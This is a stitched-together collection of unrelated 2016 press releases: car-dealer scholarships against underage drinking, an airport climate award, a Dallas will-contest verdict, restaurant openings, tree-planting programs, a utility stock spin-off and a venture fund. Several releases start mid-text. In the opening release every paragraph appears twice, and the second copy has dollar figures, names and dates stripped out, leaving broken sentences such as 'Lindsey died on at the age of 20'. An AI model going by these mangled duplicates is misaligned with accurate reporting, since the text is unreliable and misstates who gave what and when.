Detroit Auto Dealers Association (DADA) Award: $4,000 . DADA, the primary sponsor and administrator of the Courageous Persuaders program through its DADA Education Foundation, will also provide a $2,000 scholarship on the dangers of underage drinking and a $2,000 scholarship on the dangers of texting while driving.

DADA, the primary sponsor and administrator of the Courageous Persuaders program through its DADA Education Foundation, will also provide a scholarship on the dangers of underage drinking and a scholarship on the dangers of texting while driving. State Farm Fan Favorite Award: $3,500 . Determined through independent votes of videos posted on a dedicated YouTube channel, a $2,500 cash prize will be presented to the classroom of the school that produced the video that garners the most votes, and a $1,000 scholarship will be awarded to the student.

Determined through independent votes of videos posted on a dedicated YouTube channel, a cash prize will be presented to the classroom of the school that produced the video that garners the most votes, and a scholarship will be awarded to the student. Lindsey Renee Cianciolo Family Memorial Scholarship: $3,000 . Two $1,500 Michigan -based scholarships are donated by Lindsey's father, Michael, her sisters, Allie and Mary Cianciolo and friends of Michael. Lindsey died on January 5, 2005 at the age of 20 in a motor vehicle accident which was largely caused by underage drinking.

Two -based scholarships are donated by Lindsey's father, Michael, her sisters, and friends of Michael. Lindsey died on at the age of 20 in a motor vehicle accident which was largely caused by underage drinking. Adcraft Club of Detroit Award: $2,000 . The Adcraft Club award is presented to the student(s) whose commercial best conveys factual information about the dangers of alcohol use.

The Adcraft Club award is presented to the student(s) whose commercial best conveys factual information about the dangers of alcohol use. Michelin Award: $2,000 . The Michelin Award is presented to the student whose video commercial best illustrates the dangers of underage drinking and its effects on driving.

The Michelin Award is presented to the student whose video commercial best illustrates the dangers of underage drinking and its effects on driving. AutoTrader Award: $2,000 . AutoTrader is proud to support Courageous Persuaders and its focus on educating and informing today's youth on the dangers of underage drinking and driving with a $2,000 scholarship.

AutoTrader is proud to support Courageous Persuaders and its focus on educating and informing today's youth on the dangers of underage drinking and driving with a scholarship. State Farm Insurance: $1,000 . State Farm will select the winning commercial based on persuasiveness and creativity on the dangers of underage drinking and driving.

State Farm will select the winning commercial based on persuasiveness and creativity on the dangers of underage drinking and driving. Michigan Film & Digital Media Scholarship: $1,000 . New this year! The Michigan Film & Digital Media Scholarship, a new Courageous Persuaders sponsor through its DADA Education Foundation, will provide a $1,000 scholarship on the dangers of underage drinking or dangers of texting while driving.

New this year! The Michigan Film & Digital Media Scholarship, a new Courageous Persuaders sponsor through its DADA Education Foundation, will provide a scholarship on the dangers of underage drinking or dangers of texting while driving. College for Creative Studies (CCS) Award: $250 . The CCS award is chosen based on the cognition, creativity, and craftsmanship of the commercial.

The CCS award is chosen based on the cognition, creativity, and craftsmanship of the commercial. Wall Street Journal (WSJ) Courageous Leader Award. The WSJ Courageous Leader Award is presented to a teacher for his or her extraordinary support of the Courageous Persuaders program.

Winners are selected after several rounds of judging starting with a panel from the DADA that views the entries and identifies the top 60 finalists during the first round. Those entries are then reviewed by students at middle schools, who complete questionnaires to determine the final winners for each category.

State Farm, a long-time partner, will feature its driving simulator, staffed by deputies from the Michigan Sheriff's Association. The driving simulator will give participants the experience of driving drunk and the negative side effects involved.

To view the 2015 winning commercials or for information about the competition and upcoming awards celebration, visit CourageousPersuaders.com.

About the DADA Education Foundation

The mission of the DADA Education Foundation is to promote excellence in education through quality programs and leadership.

About Detroit Auto Dealers Association (DADA)

The DADA was founded in 1907 by 17 local car dealers, and has grown to more than 220 member car and truck dealers who donate their time and resources to a host of community activities. Currently, the DADA members collectively employ more than 16,500 people. Many members participate in the NAIAS, LLC, which is responsible for the production of the North American International Auto Show (NAIAS). To find out more about Detroit Auto Dealers Association, visit dada.org. To find out more about the NAIAS, visit naias.com.

SOURCE DADA Education Foundation

Related Links

http://www.dada.org


"DFW is honored to be the first Airport recipient of the EPA award for Greenhouse Gas Management. We are committed to leadership in sustainability within our industry and will continue to focus on reducing our carbon footprint. This award reinforces we are on the right track in serving our Airport and the North Texas region," said Sean Donohue, CEO, DFW International Airport.

As part of the U.S. EPA's commitment to reducing greenhouse gas emissions, the EPA's Center for Corporate Climate Leadership co-sponsors the Climate Leadership Awards with two partnersCenter for Climate and Energy Solutions and The Climate Registry. With these awards, the two co-sponsors strive to bring attention to leaders in the management and reduction of greenhouse gas emissionsboth in internal operations and throughout the supply chain.

As one of three EPA award recipients for Excellence in Greenhouse Gas Management Goal Setting, DFW Airport is being recognized for publicly reporting and verifying organization-wide greenhouse gas inventories and publicly setting aggressive greenhouse gas emissions reduction goals. The EPA awarded DFW Airport, specifically, for the following accomplishment: setting an absolute target of an annual two percent reduction in its direct (Scope 1) and indirect (Scope 2) GHG emissions from 2010 to 2020. Also recognized in this category were IBM and MetLife, Inc.

"I am proud to distinguish Dallas Fort Worth International Airport for its outstanding actions and dedication to reduce harmful carbon pollution that leads to climate change," said EPA Administrator Gina McCarthy. "DFW Airport is leading the way towards a healthy environment and demonstrates that meeting challenges of a changing climate can be done."

DFW plans to achieve additional reduction goals by increasing renewable energy and alternative fuel use; by integrating best available energy-efficient technology into facilities, systems, processes and operations; and, finally, by expanding partnerships with airlines, regulatory agencies, academia, nongovernmental organizations, business associations and other stakeholders to develop effective and sustainable solutions to improve air quality and reduce aviation's impact on climate change. As of March 1, 2016, DFW has expanded its proportion of renewable energy to 40 percent, has reduced costs and doubled airport renewable energy use over the past 2 years (equivalent to installation of 33 wind turbines).

About Dallas Fort Worth International Airport:

Dallas Fort Worth International (DFW) Airport warmly welcomes more than 64 million customers along their journey every year, elevating DFW to a status as one of the most frequently visited superhub airports in the world. DFW Airport customers can choose among 154 domestic and 56 international nonstop destinations worldwide. DFW is elevating the customer experience with modernized facilities and updated amenities, as well as through a $2.7 billion Terminal Renewal and Improvement Program to renovate its four original terminal buildings. Centered between its owner cities of Dallas and Fort Worth, Texas, DFW Airport also serves as a major economic generator for the North Texas region, producing over $37 billion in economic impact each year by connecting people through business and leisure travel. For current information about DFW International Airport, visit the DFW Airport web site at www.dfwairport.com, download the Official DFW Airport Mobile App for mobile devices, or follow DFW on social media.

Follow Dallas Fort Worth International Airport On:

Twitter.com | Youtube.com | Facebook.com

Photo - http://photos.prnewswire.com/prnh/20160421/35862

Logo - http://photos.prnewswire.com/prnh/20151013/276597LOGO

SOURCE DFW International Airport

Related Links

http://www.dfwairport.com


DALLAS, April 22, 2016 /PRNewswire/ -- A Dallas County probate court jury unanimously found that a 72-year-old husband improperly influenced his dying wife to sign a new will the day before she died. The new will gave her second husband effective control over his wife's assets in a family trust, contrary to an earlier will his wife had signed in 1992 that designated the family trust to primarily benefit her children from her first marriage.

Jean Knight Baty, 68, died in her Turtle Creek high-rise in January 2014, following a debilitating illness that left her in declining physical health for several years. The jury heard testimony that Ms. Baty's husband of 24 years, Donald Baty, called an attorney the morning his wife was admitted to hospice care to bring over a will for execution.

Close to the time of the will signing, medical notes indicated that she was suffocating, which the husband admitted was her greatest fear. She was also scheduled to immediately begin a series of palliative care treatments, including morphine and anti-anxiety medications. Ms. Baty died less than 24 hours after the will was signed.

The two witnesses to the signing were staff employees at the couple's condominium property.

After a six-day trial in Dallas Probate Court No. 1 before the Hon. Judge Brenda Thompson, jurors deliberated for just over an hour before invalidating the 2014 will, finding that Ms. Baty lacked the testamentary capacity to understand her actions and was unduly influenced into signing the will. The jury also found that the husband had not acted in good faith and with just cause in defending the 2014 will.

"This is a very gratifying ruling, especially considering the egregious behavior of her husband and the circumstances involved in the will signing," says attorney Brian N. Hail of Gruber Elrod Johansen Hail Shank, who represented Ms. Baty's son at trial, along with co-counsel Brian Mason. "The circumstances of her death were tragic, but could have been more so had the 2014 will not been set aside."

According to Mr. Hail, based on the jury verdict, his client will seek removal of the husband as executor and trustee under the original 1992 will, as well as pursue claims for multiple breaches of fiduciary duty.

Gruber Elrod Johansen Hail Shank LLP represents clients in complex commercial litigation in Texas and across the nation, with extensive experience in probate, trust and fiduciary matters. The firm's practice extends to litigation involving energy, contract disputes, pipeline construction, partnership dissolutions, labor and employment, securities and shareholder disputes, intellectual property, bankruptcy and other business and commercial cases. Clients include leading companies and individuals as both defendants and plaintiffs across a broad range of industries. To learn more, visit http://www.getrial.com/.

For more information on the verdict, contact Barry Pound at 800-559-4534 or [email protected].

SOURCE Gruber Elrod Johansen Hail Shank LLP

Related Links

http://www.getrial.com


Dickey's Barbecue Pit now has more than 100 stores in California and is rapidly expanding in The Golden State. The new stores will all be opened using Dickey's new store model , complete with sustainable elements such as reclaimed wood throughout the dining room and Dickey's proprietary blend of wood pellets to be used in the smoker.

An award-winning entrepreneur, Michael Tucker also owns several franchises with Dallas-based convenience store 7-Eleven which have been in operation for the last four years. "The community in La Quinta has wholeheartedly embraced us, and so many people who came during our grand opening have become loyal guests who stop in several times per week," Tucker says. "We are delighted to serve our community delicious barbecue and look forward to expanding into San Diego County."

"Dickey's has grown rapidly along the West Coast, and we are proud to have dedicated Owner/Operators such as Michael Tucker who further our brand every day," says Roland Dickey, Jr., CEO of Dickey's Barbecue Restaurants, Inc. "The Dickey family congratulates Michael on his development agreement and we look forward to celebrating many grand openings in the future."

To learn more about franchising with Dickeys, visit www.dickeys.com/franchise or call 866-340-6188.

To find the Dickey's Barbecue Pit nearest you, click here. Find Dickey's on Twitter, Facebook and Instagram.

About Dickey's Barbecue Restaurants, Inc.

Dickey's Barbecue Restaurants, Inc., the nation's largest barbecue chain was founded in 1941 by Travis Dickey with the goal of authentic slow smoked barbecue. Today, all meats are still slow smoked on-site in each restaurant living up to the company tagline, "We Speak Barbecue." The Dallas-based family-run barbecue franchise offers a quality selection of signature meats, home style sides, tangy barbecue sauce and free kids' meals every Sunday. The fast-casual concept has expanded to over 530 locations in 43 states. Dickey's was recognized for the third year by Nation's Restaurant News as a "Top 10 Growth Chain" and by Technomic as the "Fastest-growing restaurant chain in the country." For more information, visit www.dickeys.com or for barbecue franchise opportunities call 866.340.6188.

Media Contact:

Kimberly Harms / Michelle George

[email protected] / [email protected]

972.248.9899

Photo - http://photos.prnewswire.com/prnh/20160422/358896

Logo - http://photos.prnewswire.com/prnh/20140102/LA39739LOGO

SOURCE Dickey's Barbecue

Related Links

http://www.dickeys.com


RICHMOND, Va., April 22, 2016 /PRNewswire/ -- Project Plant It!, the environmental education program created by Dominion Resources, Inc., will celebrate a significant milestone this spring: 10 years of helping children learn about the important role of trees in the ecosystem. A hallmark of the program is the distribution of free redbud tree seedlings to all participating children, providing a memorable and meaningful way to celebrate Arbor Day (April 29).

"Just as trees begin life as tiny seedlings, Project Plant It! has grown significantly from a pilot program in the Richmond region into a multi-state initiative that has become an annual tradition for educators, families and children throughout our service areas," said Hunter A. Applewhite, president of the Dominion Foundation. "Project Plant It! is one of the many ways that Dominion seeks to support those who teach children and to partner with the communities we serve."

In a new twist for the 10th anniversary, enrollment was extended into several new regions and opened to children of all grade levels instead of just third graders, as in prior years. Also, participation was opened to any entity that educates or works with youth, such as Girl Scout and Boy Scout troops, home schools, preschools, church groups and civic associations.

Thanks to these expansions, Dominion provided free educational resources and 50,000 tree seedlings to children of all ages in 2016many of whom had never participated in this program until now. Seedlings went to children in nine states served by Dominion, including Connecticut, Maryland, North Carolina, Ohio, Pennsylvania, Rhode Island, South Carolina, Virginia and West Virginia.

Since the program was created in 2007, more than 350,000 tree seedlings have been distributed to students. According to the Virginia Department of Forestry, this equates to about 875 acres of new forest if all of the seedlings are planted and grow to maturity. In addition, Project Plant It! provides free educational materials, interactive games and videos about trees, along with a variety of outdoor, hands-on activities, on its website at www.projectplantit.com.

Over the past decade, many organizations and agencies have served as longtime collaborative partners with Dominion and Project Plant It!, including the national Arbor Day Foundation, the Virginia Department of Forestry, Richmond Public Schools and many school systems throughout Dominion's service area.

"Through Project Plant It!, Dominion has ensured a lasting legacy for future generations," said Bettie Guthrie, education chair for the Willcox Watershed Conservancy in Petersburg, Va. "For eight years, third-grade students in Petersburg have celebrated Arbor Day at Lee Memorial Park, where they plant trees to honor our military troops. We are grateful for the opportunity to share in this important educational partnership."

In addition to the Arbor Day event in Lee Memorial Park, tree celebrations are planned at Goochland Elementary School in Goochland, Va., at Ginter Park Elementary School in the City of Richmond, Va., and at Great Bridge Intermediate in Chesapeake, Va., among others.

For more information about Project Plant It!, visit www.projectplantit.com or "Like" Project Plant It! on Facebook.

About Dominion Resources

Dominion Resources is the parent company of Dominion (NYSE: D), one of the nation's largest producers and transporters of energy, with a portfolio of approximately 24,300 megawatts of generation, 12,200 miles of natural gas transmission, gathering and storage pipeline, and 6,500 miles of electric transmission lines. Dominion operates one of the nation's largest natural gas storage systems with 933 billion cubic feet of storage capacity and serves utility and retail energy customers in 14 states. For more information about Dominion, visit the company's website at www.dom.com.

SOURCE Dominion Resources

Related Links

http://www.dom.com


NEW YORK, April 7, 2016 /PRNewswire/ -- The following feature package is a roundup of feature stories dealing with Earth Day and is appropriate for special sections and for general use.

For each story included in this package, you will find the first paragraph of the feature release below, as well as its headline linked to the full text.

This is the latest in a series of topical feature packages PRN will carry as part of its regular Feature News Service. Coming up in 2016 are features on:



Package Name Slug Distribution Date Home & Garden II Home April 14 Mother's Day Mother April 21 Education II, Graduation Education April 28 Fitness, Diet & Nutrition II Fitness May 5 Consumer Issues & Trends Consumer May 12



Earth Day Feature Package

1. More Than 1 Billion People Will Be Involved in Earth Day

WASHINGTON, April 4, 2016 /PRNewswire-USNewswire/ -- This Earth Day, April 22nd, more than one billion people in 192 countries will take action to protect our shared environment. All across the globe, from big cities to small villages, people are organizing, demanding climate action, cleaning up their local communities, meeting with their elected officials, planting trees, and teaching their children to protect our planet.

2. Hotel Felix Chicago Celebrates Earth Month in Sustainable Style

CHICAGO, March 30, 2016 /PRNewswire/ -- Earth Month is the annual reminder for many travelers to consider new green practices. Hotel Felix, Chicago's first Silver LEED certified hotel, commits to reducing its carbon footprint year round and Earth Month is a celebration of its ongoing green efforts.

3. THIRTEEN's "W.S. Merwin: To Plant a Tree" Examines the Life & Work of the Poet Laureate Two-Time Pulitzer Winner Environmental Activist Airing in April on PBS

NEW YORK, March 22, 2016 /PRNewswire-USNewswire/ -- It has been more than four decades since Senator Gaylord Nelson (D-Wis.) founded Earth Day and held its first celebration on April 22, 1970, launching the birth of the modern environmental movement.

4. Alicia Silverstone Guest Curates the LOVE GOODLY April/May Box to Celebrate Earth Day and Support Farm Sanctuary!

LOS ANGELES, March 2, 2016 /PRNewswire/ -- LOVE GOODLY (www.lovegoodly.com), the expertly researched and curated subscription box service and e-commerce shop for discovering the best luxury, 100% nontoxic, cruelty free and vegan products for your lifestyle, has partnered with Alicia Silverstone, actress, NY Times best-selling author, health advocate, to guest curate their April/May box, with a retail value of over $110, to celebrate Earth Day, April 22nd! A portion of all proceeds will benefit the nonprofit Farm Sanctuary's work to protect farm animals from cruelty, inspire change in the way society views and treats farm animals, and promote compassionate vegan living.

If you would like a copy of the complete schedule, or if you would care to comment, please email [email protected]. We welcome suggestions. Copies of previous packages are available for the media. Feature packages and feature photos are also available on the PR Newswire Web site, http://www.prnewswire.com/news-releases/feature-news-latest-news.

Photos that accompany releases are available via the PRN Multimedia Desk, 800-317-7677, or via the PR Newswire Photo Archive. Select photos are available via AP PhotoExpress and AP Images.

SOURCE PR Newswire Association LLC

Related Links

http://www.prnewswire.com/news-releases/feature-news-latest-news


In addressing the students Congressman Fattah said, "By reaching higher for a college education you are creating for yourselves a solid foundation for a bright future. Learning is a life-long process and your experience and achievement in college will prepare you for not just a successful career but a meaningful and productive life."

For his entire career, Congressman Fattah has championed educational opportunities for all students from pre-school to grad school on both the local and the national level. He is the author of GEAR UP (Gaining Early Awareness and Readiness for Undergraduate Programs) and the American Opportunity Tax Credit (AOTC). GEAR UP prepares under-served students beginning in sixth grade for the rigors and opportunities of college enrollment. Since its inception, GEAR UP has received $5 billion in federal funds and helped more than 12 million students. The AOTC helps low and moderate income students meet their college expenses by offering an annual $2,500 tax credit to pay for higher education costs.

While GEAR UP and the AOTC help students on a national level, Congressman Fattah saw the need for something special for local students. In 2003, he created the CORE Scholars program for Philadelphia high school graduates to help cover their first year of college expenses. The "last-dollar" scholarships have helped more than 23,000 seniors achieve their dream of a college education.

Photo - http://photos.prnewswire.com/prnh/20160422/358948

SOURCE Office of Congressman Chaka Fattah

Related Links

http://www.fattah.house.gov


The EECU Mayfest run on April 30 will begin at 7:30 a.m. with a 1 mile fun run, followed by the USATF certified 10K and 5K runs. The awards ceremony is slated for 9 a.m. on the Riverbank Area inside the Mayfest festival grounds along Trinity River.

With EECU being the title sponsor, this year's Mayfest Run will raise awareness and much-needed funds for Cook Children's in Fort Worth. EECU is pairing five Mayfest runners with five Cook Children's patients, to allow the participating children to "cross the finish line" alongside the Mayfest runners. Thanks to their support and encouragement, what could be a difficult task of participating in this race can become, instead, a moment they will never forget.

Participating in this patient-partner program at the EECU Mayfest run will be:

Tim Burch , EECU Chief Information Officer

, EECU Chief Information Officer Barry Church , starting safety for the Dallas Cowboys

, starting safety for the Dallas Cowboys Sal Espino , Fort Worth Mayor Pro Tem

, Mayor Pro Tem Hawkeye, KSCS Morning DJ

Heather Hays , Fox 4 TV Evening Anchor

"A willing and able runner giving a supportive hand to a child in need is more than symbolic," said Lonnie Nicholson, EECU President and CEO. "It is an express commitment that we can all help our communities and in particular those in our communities who are most vulnerable. We are pleased we can support the Mayfest charities as well as this year's patient-runner teams to benefit Cook Children's."

EECU supports Cook Children's efforts to advance patient care and provide hope to thousands of children and their families. Help them reach their goal by visiting eecu.org/donate.

On-line registration for the EECU Mayfest run is open at Mayfest.org. Each EECU Mayfest run registrant receives free admission to Mayfest all four days of the festival.

EECU is an 80-year old community credit union based in Fort Worth, TX, serving approximately 175,000 members. EECU has 14 branches throughout North Texas and 55,000 free ATMs, along with complete on-line and mobile banking services. EECU was recently named by Consumer Reports as the highest ranking credit union in the D/FW Metroplex. For more information about EECU, visit EECU.org.

Audio - http://origin-qps.onstreammedia.com/origin/multivu_archive/ENR/EECUCookChildrens.MP3

SOURCE EECU Credit Union

Related Links

https://www.eecu.org


SANTIAGO, Chile, April 21, 2016 /PRNewswire/ -- ENERSIS AMERICAS S.A. ("Enersis Americas") (NYSE: ENI) and ENERSIS CHILE S.A. ("Enersis Chile") (NYSE: ENIC) today announced that Enersis Americas completed the distribution of the common stock of Enersis Chile to the holders of Enersis Americas common stock in connection with the previously announced spin-off by Enersis Americas of Enersis Chile (the "Spin-off"). Holders of record of Enersis Americas common stock as of April 20, 2016 (the "Share Record Date") received one share of Enersis Chile common stock for every share of Enersis Americas common stock held by such holder on the Share Record Date. Enersis Chile common stock is listed and started trading today on the Santiago Stock Exchange, the Valparaiso Stock Exchange and the Electronic Stock Exchange in Chile.

The distribution of American Depositary Shares ("ADSs") of Enersis Chile to the holders of Enersis Americas ADSs is expected to be completed on April 26, 2016 (the "ADS Distribution Date"). Each Enersis Chile ADS represents 50 shares of Enersis Chile common stock. Enersis Chile ADSs began trading today on a "when issued" basis on the New York Stock Exchange ("NYSE") under the symbol "ENIC WI", permitting holders of Enersis Americas ADSs to trade the right to receive Enersis Chile ADSs until the distribution of Enersis Chile ADSs is completed. "When issued" trading of Enersis Chile ADSs is expected to end at the close of market on the ADS Distribution Date. Concurrent with the "when-issued" trading of Enersis Chile ADSs, Enersis Americas ADSs will trade two ways: regular way with due bills under the symbol "ENI", which includes the right to receive Enersis Chile ADSs in the distribution, and "ex-distribution -- when-issued" under the symbol "ENI WI", which does not include the right to receive Enersis Chile ADSs in the distribution.

On the ADS Distribution Date, holders of Enersis Americas ADSs as of April 14, 2016 (the "ADS Record Date") will receive one ADS of Enersis Chile for every ADS of Enersis Americas held by such holder on the ADS Record Date. Once the distribution of Enersis Chile ADSs is complete, Enersis Chile ADSs will trade on the NYSE under the symbol "ENIC" and the ticker symbol for Enersis Americas will change to "ENIA".

Enersis Americas issued an information statement describing the Spin-off (the "Information Statement"). The Information Statement includes, among other things, information regarding: the Spin-off; risks relating to the Spin-off; the business, financial condition and results of operations of Enersis Chile; certain relationships between Enersis Americas and Enersis Chile; the management of Enersis Chile; and a description of Enersis Chile common stock. The Information Statement is available on Enersis Americas' website at www.enersis.cl and on Enersis Chile's website at www.enersischile.cl.

Caution Concerning Forward-Looking Statements

This press release includes forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. These statements include, but are not limited to, statements about the completion of the Spin-off, timing of trading on the NYSE, Santiago Stock Exchange, the Electronic Stock Exchange and the Valparaiso Stock Exchange, conditions to the distribution, and statements about the objectives of the Spin-off, Enersis Chile's strategy and other non-historical matters. These statements are based on management's current expectations or beliefs, and are subject to uncertainty and changes in circumstances. These forward-looking statements are subject to a number of risks and uncertainties, many of which are beyond our control, which could cause the actual results to differ materially from those indicated in our forward-looking statements. Such risks include a failure to successfully separate Enersis Chile from Enersis Americas, the ability of the businesses of Enersis Americas and Enersis Chile to continue to grow and develop according to their business development plans, trends in the industries in which the businesses of Enersis Americas and Enersis Chile operate, customer demand, the competitive landscape in which the businesses of Enersis Americas and Enersis Chile operate, changes in regulation applicable to the businesses of Enersis Americas and Enersis Chile, competition risk, regulatory risk, financial markets risk, operational risks, and other risks and factors, including those set forth under the heading "Risk Factors" in Enersis Chile's Registration Statement on Form 20-F filed with the U.S. Securities and Exchange Commission and the Information Statement. Except as required by law, Enersis Americas and Enersis Chile undertake no obligation to update these forward-looking statements, whether as a result of new information, future events or otherwise.

SOURCE Enersis Americas S.A.

Related Links

http://www.enersis.cl


MONTREAL, April 22, 2016 /PRNewswire/ - CN (TSX: CNR) (NYSE: CNI) today announced the successful candidates for its 2016 From the Ground Up community tree-planting program. Thirty one communities in Canada were selected amongst the 92 applications to receive grants of up to $25,000 each in this fifth year of the program.

The objective of the CN EcoConnexions  From the Ground Up program is to promote community sustainability, through the greening of municipal and community properties across Canada. CN and its partners Tree Canada and Communities in Bloom help Canadian municipalities and community groups establish tree planting and green space enhancement initiatives in a sustainable, environmentally responsible manner. The program aims to enhance environmental and social health of communities.

"CN is committed to making a positive impact on the communities along our network, and we are proud to be part of a program that helps to make these communities better places to live, work and play," said Claude Mongeau, president and chief executive officer of CN. "Since we started this program, more than 50,000 trees and shrubs have been planted in 120 communities across Canada, which not only add beauty, but is another way we positively contribute to a sustainable future one community at a time, as planting trees improve air quality and offset carbon emissions."

Successful candidates were chosen on the basis of rigorous selection criteria developed and overseen by CN's program partners, Tree Canada and Communities in Bloom. The program partners rated each application on those criteria and presented a ranked list of programs from which final candidates were selected. Communities in Bloom and Tree Canada will provide guidance in the development of the chosen projects.

"Tree Canada is thrilled to continue to work with CN and Communities in Bloom bringing CN EcoConnexions  From the Ground Up to deserving communities across Canada," says Michael Rosen, President of Tree Canada. "This program not only provides funding, but much needed awareness to the value of trees and green spaces to our health and wellbeing as well as the environment. I have personally witnessed the impact this program has had and can honestly say that CN has created a lasting legacy of sustainability for present and future generations."

"Communities in Bloom is proud to partner with CN and Tree Canada in delivering the CN EcoConnexions  From the Ground Up program. The enhancement of green spaces and tree planting provide economic, social and environmental stewardship benefits to the communities for generations to come" said Raymond Carriere, Founding President of Communities in Bloom. "The projects are a demonstration of civic pride, sense of community and feeling of accomplishment through community engagement."

Civic support for the tree-planting program has been strong since CN initiated it in 2012, with over 700 communities applying for funds. This year's recipients bring the total to 170 communities across Canada and the United States that have benefited from funding through the CN EcoConnexions  From the Ground Up program. Details on the program are available at www.cnfromthegroundup.ca.

CN EcoConnexions  From the Ground Up 2016 successful applicants

Canada:

District of Hope, BC - 6th Avenue Rail Crossing Beautification

District of Lillooet, BC - Lillooet Gateway Revitalization

Squamish-Lillooet Regional District, BC - Gates Lake Community Park Enhancement Project

City of Vancouver, BC - Restoration of Native Forests

City of Edmonton, AB - Nature to 91st street

Town of Fahler, AB - Trees for Life

County of Vermilion River, AB - Community Trees

Kneehill County, AB - Three Hills Creek Recreational Area

Town of Kinistino, SK - Walkway through Town

Wakamow Valley Authority, SK - Community Food Farm / Orchard

Grandview & District Recreation Commission, MB - Wilson Park Renewal

Rivers Train Station Restoration Committee, MB  Loco Labyrinth & RV Park

Town of Ste.-Anne, MB - Tree Planting

Town of Atikokan, ON -- Root for Trees

Town of Fort Erie, ON - Emerald Ash Borer Replanting Project

City of Hamilton, ON - Woodlands Literacy Trail

Township of King, ON - Greening Metrus Community Park Development

City of Sarnia, ON - Gateway Project - Howard Watson Nature Trail

City of Sault Ste-Marie, ON - Etienne Brule Orchard Project

Ville de Contrecoeur, QC - Reboisement du developpement des Faubourg

Ville de Longueuil, QC - Revitalisation du Parc Christ-Roi

Ville de Mont-Joli, QC - Vert une Jolie Ville

Ville de Pointe-Claire, QC - Protection et restauration du Parc Naturel Terra-Cota

Ville de Rimouski, QC - Parc Gilles-Vigneault et Dominique-Savio

Ville de Saint-Felicien  Landscaping of the  Gare du Meuble 

Municipalite de Sainte-Marie-Salome, QC - Sentier le Rassembleur

Ville de Vaudreuil-Dorion, QC - Corridor de verdure Floralies

Village of Belledune, NB - Veterans Memorial Park

Ville d'Edmundston, NB - Creation d'un parc d'entrainement en plein air

Town of Sackville, NB - Sackville Urban Forest Revitalization Project

Village of Salisbury, NB - Highland Park Revitalization

Click here to view a description of each project.

Click here to access a map of the projects.



About CN

CN transports more than C$250 billion worth of goods annually for a wide range of business sectors, ranging from resource products to manufactured products to consumer goods, across a rail network of approximately 20,000 route-miles spanning Canada and mid-America. CN  Canadian National Railway Company, along with its operating railway subsidiaries  serves the cities and ports of Vancouver, Prince Rupert, B.C., Montreal, Halifax, New Orleans, and Mobile, Ala., and the metropolitan areas of Toronto, Edmonton, Winnipeg, Calgary, Chicago, Memphis, Detroit, Duluth, Minn./Superior, Wis., and Jackson, Miss., with connections to all points in North America. For more information about CN, visit the company's website at www.cn.ca

About Tree Canada

Tree Canada is a not-for-profit charitable organization established to encourage Canadians to plant and care for trees in urban and rural environments. Tree Canada engages Canadian companies, government agencies and individuals to support the planting of trees, the greening of schoolyards, and other efforts to sensitize Canadians to the benefits of planting and maintaining trees. To date, nearly 80 million trees have been planted, over 550 schoolyards have been greened, and Tree Canada has helped organize eleven national urban forest conferences. The next Canadian Urban Forest Conference will take place in Laval, QC in 2016. More information about Tree Canada is available at www.treecanada.ca.

About Communities in Bloom

Communities in Bloom is a Canadian non-profit organization committed to fostering civic pride, environmental responsibility and beautification through community involvement and the challenge of a national program, with focus on the enhancement of green spaces. The pride, sense of community and feeling of accomplishment generated through participation are visible in communities across Canada. The 2016 Symposium and Awards will be held in Regina, SK from October 27 to 29. For more information about the Communities in Bloom program, visit www.communitiesinbloom.ca.

SOURCE CN

Related Links

http://www.cn.ca


PLANO, Texas, April 21, 2016 /PRNewswire/ -- Fleming's Prime Steakhouse & Wine Bar will soon be the newest fine dining destination in Plano, Texas. The new location, on the first floor of Legacy Tower, adjacent to The Shops at Legacy, at the southeast corner of Legacy Drive and the Dallas North Tollway, will open its doors in June.

Fleming's will offer a one-of-a-kind steak experience with the finest cuts available - USDA Prime, Certified Angus and Wagyu beef - aged a minimum of 21 days. For a complete dining experience, Fleming's also features Small Plates, including Braised Short Ribs, Seared Ahi Tuna and Lobster Tempura as well as a variety of shareable sides and indulgent desserts. Guests can also enjoy the Bar La Carte menu as well as select wines and cocktails during Fleming's twice-nightly, signature FIVESIXSEVEN and EIGHTNINETEN happy hours.

To complement Guests' dining experience Fleming's award -winning wine program is centered around the Fleming's 100, a specially curated list of 100 wines available by the glass or bottle.

The 10,641-square-foot elegant and spacious new restaurant will feature an open-floor-plan main dining room area, a spacious bar and three customizable private dining rooms that can be combined to form space for large private events. The restaurant also features premium design elements including champagne-inspired pendant lights and a sculptural metal wine display in the bar as well as floors made out of reclaimed oak wine barrels.

Operating Partner Jill Zimmerman and Chef Partner Travis Herbert will lead the new location at 7250 N. Dallas Parkway. The two bring an extensive background in the industry with more than 24 combined years of previous experience with the Fleming's brand.

Legacy Tower, developed by Trammell Crow Company (TCC) and Principal Real Estate Investors, leased by CBRE, features 342,033 square feet of LEED Gold Class AA space and a 6-level parking structure. Among the unique features of Legacy Tower are the state-of-the-art finishes on the building: custom-stained makore wood walls and paneling and stone from five regions of the world prominently used throughout, and its dynamic architectural sloping glass wall on the exterior, which extends from the building's base to the penthouse top on its most visible facade. Another distinguishing feature of the office building is the Legacy Lounge and Training Center  including health and fitness amenities, wine lockers/storage for tenants, and more. The main entrance opens to the restaurants and retail of The Shops at Legacy, which are all within walking distance.

About Fleming's Prime Steakhouse & Wine Bar

Nationally acclaimed Fleming's Prime Steakhouse & Wine Bar offers the best in steakhouse dining  Prime meats and chops, fresh fish and poultry, generous salads and side orders  with a unique wine list known as the Fleming's 100, which features 100 wines served by the glass. Fleming's was launched in Newport Beach, California, in 1998 by successful restaurant industry veterans Paul Fleming and Bill Allen. Today there are 66 restaurants nationwide and one in Sao Paulo, Brazil. Fleming's is the recipient of numerous prestigious awards, including Wine Spectator's annual Award of Excellence. For more information about Fleming's Prime Steakhouse & Wine Bar and the Fleming's 100, please visit www.FlemingsSteakhouse.com.

SOURCE Fleming's Prime Steakhouse & Wine Bar

Related Links

http://www.flemingssteakhouse.com


"Technology markets are rapidly converging, and embracing a global mindset is imperative for entrepreneurs today  in technology terms the world is getting smaller," said Jixun Foo, managing partner, GGV Capital. "As backers of globally focused market leaders such as Airbnb, Alibaba, Domo, Houzz, Qunar, Slack, UCWeb, and Youku Tudou, we are excited by the support of new and longstanding partners such as National University of Singapore, Northwestern University, LACERA and the Oregon State Treasury to back a new generation of technology entrepreneurs."

Fifteen private companies in the GGV Capital portfolio are now valued at $1 billion or more, and half were Series B or earlier at the time of initial investment by GGV. The firm also counts 14 current public companies in its portfolio with valuations greater than $1 billion, including 21Vianet, Qunar, Pandora, Square, Youku Tudou, YY.com and Zendesk. Throughout the firm's 15-year history, 28 portfolio companies have completed IPOs, including Square in 2015 and Zendesk and Nimble Storage in 2014. The firm's portfolio companies completed more than $15 billion in M&A transactions in 2015 alone.

